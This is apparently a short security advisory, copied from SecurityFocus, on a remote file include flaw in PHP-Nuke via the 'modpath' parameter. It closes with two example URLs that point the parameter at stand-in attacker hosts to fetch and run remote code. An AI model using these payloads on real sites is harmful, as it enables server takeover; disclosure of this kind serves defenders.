8 lines
No EOL
602 B
Text
8 lines
No EOL
602 B
Text
source: https://www.securityfocus.com/bid/10365/info
|
|
|
|
PHP-Nuke is prone to a potential file include vulnerability. This issue could allow a remote attacker to include malicious files containing aribtrary code to be executed on a vulnerable system. This issue can be exploited via the 'modpath' parameter.
|
|
|
|
If successful, the malicious script supplied by the attacker will be executed in the context of the web server hosting the vulnerable software.
|
|
|
|
http://www.example.com/nuke73/index.php?modpath=ftp://attacker.com/directory/
|
|
http://www.example.com/nuke73/index.php?modpath=//attacker_ip/share_name/ |